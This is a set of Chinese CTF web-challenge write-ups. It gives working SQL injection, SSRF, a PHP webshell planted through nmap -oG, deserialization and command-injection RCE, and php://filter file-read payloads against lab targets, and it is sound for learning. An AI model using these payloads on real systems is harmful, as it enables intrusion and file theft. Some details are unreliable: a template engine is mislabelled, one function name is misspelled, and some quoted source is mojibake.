[网鼎杯 2018]Fakebook
- 看起来是sql注入的题目,有注册,考虑是二次注入.
- 在登录页面注入半天没反应,那就注册一个进去看看
- 注意到上方的get传了一个no参数,可以试试在这里注入
?no=1 and 1=1--+
?no=1 and 1=2--+
- 页面报错,看来存在注入了,闭环方式什么都不加,至于为什么不用sleep类的函数试,问就是试了半天没反应😭
?no=1 order by 5--+
- 查库名,union select被过滤,可以用union all select代替,或者union/**/select代替
?no=-1 union/**/select 1,2,3,4 --+
?no=-1 union/**/select 1,database(),3,4 --+
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables
where table_schema='fakebook'--+
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns
where table_name='users'--+
?no=-1 union/**/select 1,group_concat(data),3,4 from users--+
- 拿到一个序列化的个人信息,但是里面没有flag
- 到这一步彻底卡住了,就算是考字符逃逸也应该有源码鸭
- 看了wp,好家伙,这题还考了信息泄露,robots.txt里面暴露了备份文件
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
- 一看就知道是调那个get函数,然后ssrf,调用get需要进isValidBlog (),其实不需要操心pop,这个函数可以被自动调用的
- curl会访问传入对象的blog属性,控制blog为flag.php(至于为什么是flag.php,好家伙,不好说🥺)
no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+
- 本来flag应该出来了,好像是因为iframe框架没加载出来,到源代码里面点开就可以了
- 只是不知道为啥要把blog插在第四位,只能一个一个试了
[BJDCTF2020]The mystery of ip
- 加了XFF修改ip为本地,回显ip确实是本地,但是没反应,看来不是那种老题
- 回显引用了我的输入,考虑是模板注入,试一下
- 页面报错,确实有回显,而且是flask模板
- 看看文件
X-Forwarded-For:{{system('ls')}}
注意不是:
X-Forwarded-For:{{system('ls');}}
可能和它后面的处理有关系
[BUUCTF 2018]Online Tool
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
$_SERVER 可以获取服务器和执行环境信息
HTTP_X_FORWARDED_FOR HTTP 扩展头部,用来表示http请求端真实ip
escapeshellarg() 函数用于转义 $host 变量中的字符串,使其可以作为 shell 命令的参数使用。这可以防止
一些 shell 注入攻击。
scapeshellcmd() 函数用于转义 $host 变量中的字符串,使其可以作为 shell 命令的参数使用。这可以防止
一些 shell 注入攻击。
mkdir() 函数用于创建一个名为 $sandbox 的目录,该目录的名称是基于 $_SERVER['REMOTE_ADDR'] 和
"glzjin" 的哈希值计算得出的。这个哈希值是用来保证每个扫描任务都在一个独立的沙箱中运行,以避免不同的扫
描任务相互干扰。
chdir() 函数用于将当前工作目录更改为 $sandbox 目录。
- glzjin不会是"给老子进"吧🤣完了,有"老子"的话这篇要是发知乎肯定发不出去
- 那么显然就是构造恶意代码绕过escapeshellarg()和scapeshellcmd()了
- 搜索了之后了解到escapeshellarg()+escapeshellcmd()一起用就会出问题:
传入的参数是:172.17.0.2' -v -d a=1
经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起
来从而起到连接的作用。
经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配
对儿的引号进行了转义
最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没
有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.
2\发起请求,POST 数据为a=1'。
- 也就是说,在上面的例子中,传入了 原语句' payload被处理后变成了原语句\ payload.处理后得到的字符串里面的payload里面的字符串不会被转义,实现了绕过
- 然后是nmap命令中 有一个参数-oG可以实现将命令和结果写到文件
- 那么就让原语句为空,payload为写入webshell
?host=' <?php @eval($_POST["cmd"]);?> -oG miao.php '
[网鼎杯 2020 朱雀组]phpweb
setTimeout("document.form1.submit()",5000)
- 抓包看看
- 又是新题型,注意到func参数,后端应该是call_user_func了一下,那就试试代码执行
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
- func被过滤了,可以利用test类调gettime调func的特点,把函数从p参数传进去
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}
/proc/sys/kernel/sched_domain/cpu0/domain0/flags
/proc/sys/kernel/sched_domain/cpu1/domain0/flags
/proc/sys/kernel/sched_domain/cpu10/domain0/flags
/proc/sys/kernel/sched_domain/cpu11/domain0/flags
/proc/sys/kernel/sched_domain/cpu12/domain0/flags
/proc/sys/kernel/sched_domain/cpu13/domain0/flags
/proc/sys/kernel/sched_domain/cpu14/domain0/flags
/proc/sys/kernel/sched_domain/cpu15/domain0/flags
/proc/sys/kernel/sched_domain/cpu16/domain0/flags
/proc/sys/kernel/sched_domain/cpu17/domain0/flags
/proc/sys/kernel/sched_domain/cpu18/domain0/flags
/proc/sys/kernel/sched_domain/cpu19/domain0/flags
/proc/sys/kernel/sched_domain/cpu2/domain0/flags
/proc/sys/kernel/sched_domain/cpu20/domain0/flags
/proc/sys/kernel/sched_domain/cpu21/domain0/flags
/proc/sys/kernel/sched_domain/cpu22/domain0/flags
/proc/sys/kernel/sched_domain/cpu23/domain0/flags
/proc/sys/kernel/sched_domain/cpu24/domain0/flags
/proc/sys/kernel/sched_domain/cpu25/domain0/flags
/proc/sys/kernel/sched_domain/cpu26/domain0/flags
/proc/sys/kernel/sched_domain/cpu27/domain0/flags
/proc/sys/kernel/sched_domain/cpu28/domain0/flags
/proc/sys/kernel/sched_domain/cpu29/domain0/flags
/proc/sys/kernel/sched_domain/cpu3/domain0/flags
/proc/sys/kernel/sched_domain/cpu30/domain0/flags
/proc/sys/kernel/sched_domain/cpu31/domain0/flags
/proc/sys/kernel/sched_domain/cpu4/domain0/flags
/proc/sys/kernel/sched_domain/cpu5/domain0/flags
/proc/sys/kernel/sched_domain/cpu6/domain0/flags
/proc/sys/kernel/sched_domain/cpu7/domain0/flags
/proc/sys/kernel/sched_domain/cpu8/domain0/flags
/proc/sys/kernel/sched_domain/cpu9/domain0/flags
/sys/devices/pnp0/00:00/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS15/flags
/sys/devices/platform/serial8250/tty/ttyS6/flags
/sys/devices/platform/serial8250/tty/ttyS23/flags
/sys/devices/platform/serial8250/tty/ttyS13/flags
/sys/devices/platform/serial8250/tty/ttyS31/flags
/sys/devices/platform/serial8250/tty/ttyS4/flags
/sys/devices/platform/serial8250/tty/ttyS21/flags
/sys/devices/platform/serial8250/tty/ttyS11/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS28/flags
/sys/devices/platform/serial8250/tty/ttyS18/flags
/sys/devices/platform/serial8250/tty/ttyS9/flags
/sys/devices/platform/serial8250/tty/ttyS26/flags
/sys/devices/platform/serial8250/tty/ttyS16/flags
/sys/devices/platform/serial8250/tty/ttyS7/flags
/sys/devices/platform/serial8250/tty/ttyS24/flags
/sys/devices/platform/serial8250/tty/ttyS14/flags
/sys/devices/platform/serial8250/tty/ttyS5/flags
/sys/devices/platform/serial8250/tty/ttyS22/flags
/sys/devices/platform/serial8250/tty/ttyS12/flags
/sys/devices/platform/serial8250/tty/ttyS30/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS20/flags
/sys/devices/platform/serial8250/tty/ttyS10/flags
/sys/devices/platform/serial8250/tty/ttyS29/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/platform/serial8250/tty/ttyS19/flags
/sys/devices/platform/serial8250/tty/ttyS27/flags
/sys/devices/platform/serial8250/tty/ttyS17/flags
/sys/devices/platform/serial8250/tty/ttyS8/flags
/sys/devices/platform/serial8250/tty/ttyS25/flags
/sys/devices/virtual/net/eth0/flags
/sys/devices/virtual/net/tunl0/flags
/sys/devices/virtual/net/lo/flags
/tmp/flagoefiu4r93
/tmp/flagoefiu4r93
func=readfile&p=/tmp/flagoefiu4r93
[GXYCTF2019]禁止套娃
- 上来只有一句话,源码,抓包也什么都没看见
- 那可能是信息泄露吧,dirsearch扫一下全部是429,烦死了,还得设置间隔
dirsearch -u http://4ffa927d-368b-4ee6-b250-465adcf7b48f.node4.buuoj.cn:81/ -s 10
- 全是git,考虑存在git泄露,好嘛,githacker太久没用又出了问题
githacker --url http://4ffa927d-368b-4ee6-b250-465adcf7b48f.node4.buuoj.cn:81/.git/ --output-folder result
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
- 过滤完了,老无参数rce了,有兴趣可以看看我之前写的一篇https://drinkflower.asia/wordpress/archives/229
第一个if语句中,正则表达式/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i匹配了$_GET['exp']中包含的以"data://"、"filter://"、"php://"或"phar://"开头的字符串,如果匹配到,就会触发if语句中的代码,否则跳过。
第二个if语句中,正则表达式/[a-z,_]+\((?R)?\)/用于匹配$_GET['exp']中包含的形如"functionname(arguments)"的
字符串。如果匹配到,就用preg_replace()函数将这个字符串替换为NULL,如果替换后的结果为";",则触发if语句中的代码,否则跳过。
第三个if语句中,正则表达式/et|na|info|dec|bin|hex|oct|pi|log/i用于匹配$_GET['exp']中包含的以"et"、"na"、"info"、"dec"、"bin"、"hex"、"oct"、"pi"、"log"开头的字符串,如果匹配到,就会触发if语句中的
代码,否则跳过。
?exp=eval(session_id(session_start()));
传入cookie:phpsessid=flag.php
- 服了,死活没回显,看了wp才知道要用highlight_file,但是我确定eval没被过滤???
- wp用的highlight_file,学到了,感觉这个一般也不会被过滤,以后都用这个了
?exp=hightlight_file(session_id(session_start()));
传入Cookie:PHPSESSID=flag.php
[BSidesCF 2020]Had a bad day
传入?category=hello,没啥反应
category好像是目录的意思,传一个flag.php或者index.php吧
还是没反应,传一个伪协议读一下吧
?category=data://text/plain,<?php phpinfo();?>
?category=php://filter/convert.base64-encode/resource=index.php
- 然而试了半天又没反应,看了wp才知道这里不能加后缀,只能靠不断尝试了
?category=php://filter/convert.base64-encode/resource=index
解码之后
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
- 要保证字符串中有这三个词中的一个,试了试注释,都没成功,又卡住了
?category=php://filter/convert.base64-encode/resource=flag?>index
?category=php://filter/convert.base64-encode/resource=flag#index
- 看了wp,filter协议可以随便加过滤器,即使是乱加的也不会影响功能,那就真的随便加了🤣
?category=php://filter/convert.base64-encode/index/我服了这个老6了,怎么这么难啊/resource=flag
[BJDCTF2020]ZJCTF,不过如此
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
- 针对类似于if(isset($text)&&(file_get_contents($text,'r')==="I have a dream"))的绕过可以记一下
用data协议post一个I have a dream就可以绕过了
?text=data://text/plain,I have a dream
- 题目提示存在next.php和flag.php,flag被过滤,先看一看next.php吧
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
这个函数将字符串 $str 中符合正则表达式模式 $re 的部分转换成小写字母。具体来说,它使用 preg_replace() 函数
和 ei 修饰符来进行替换。其中:
preg_replace() 函数用于对字符串进行正则表达式替换。
ei 修饰符表示匹配时忽略大小写,替换时将匹配到的内容作为 PHP 代码执行。
具体实现时,正则表达式模式 $re 中的部分将被用于替换,具体的替换操作为:使用 strtolower() 函数将匹配到的内容
转换成小写字母,并将转换后的结果作为替换内容。
- 试了试数组绕过,其实因为没有main函数,完全不知道干什么了
preg_match() 函数可以指定一些修饰符或模式,其中 /e 是一种被称为执行的模式。
使用 /e 模式时,preg_match() 函数将匹配到的字符串作为 PHP 代码来执行,因此它可以用于在匹配时直接执行代码
,但也因此具有潜在的安全风险。
在 PHP 5.5 版本中,由于执行模式的安全隐患,这种模式被废弃。在 PHP 7.0 版本中已经彻底删除。现在应该使用 preg_replace_callback() 函数来代替 /e 模式。
- 看了wp,原来低版本的preg函数有个/e模式的漏洞,当原文出现\1这种代码时就可以利用正则来实现代码执行
因为\\1有特殊含义:
第一个\是防转义,相当于\1
\1代表子匹配第一个项(没看懂)
{${phpinfo()}} 或者 ${phpinfo()}将phpinfo()当成变量进行运算
strlow转换时就调了子匹配项,子匹配项遇到${}就认为phpinfo()是一个变量,加上开了\e,就运行了它
固定格式是:\S*=${}
next.php?\S*=${getFlag()}&cmd=system('cat /flag');
[GWCTF 2019]我有一个数据库
- 看题目就知道是mysql的题目
- 好家伙,进去是乱码,抓包,看源代码都没有反应,又偷看了一下wp,原来要目录扫描(光速打脸)
得到了
index.php
/phpmyadmin/
robots.txt
phpinfo.php
- robots.txt也指向了phpinfo.php,但是里面并没有flag,那就试试/phpmyadmin/
?target=db_datadict.php?../../../../../../../../flag
[BJDCTF2020]Mark loves cat
页面源码 没用
抓包 没用
目录扫描 有很多.git
模板漏洞 应该不是什么知名模板
- 拿到git了,但是没有仓库???网上说是环境问题,多下几次才能下载下来
拿到源码
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y ; //post 声明至当前文件
}
foreach($_GET as $x => $y){
$$x = $$y; //GET型变量重新赋值为当前文件变量中以其值为键名的值
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //传入的变量为flag value不是flag
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
}
- 只要过三个if就会打印flag了,考的phptricks,但是看到上面的变量覆盖,我感觉好像做过类似的题目,当时是用的exit把flag打印出来
get传入yds=flag
这样$yds的值就等于flag了,同时也会自动触发exit($yds);
[WUSTCTF2020]朴实无华
- 4件套安排,找到robots.txt,里面有个php
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
}else{
die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
}
}else{
die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
else
die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
die("鍘婚潪娲插惂");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
system($get_flag);
}else{
die("蹇埌闈炴床浜�");
}
}else{
die("鍘婚潪娲插惂");
}
?>
- 第一个if传入一个参数num,经过intval函数既要小于2020并且加一要大于2021,科学计数法绕过
1e10的intval是1,而1e10+1是几万
0e215962017满足
?num=1e10&md5=0e215962017&get_flag=ls
?num=1e10&md5=0e215962017&get_flag=tail$IFS$1fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag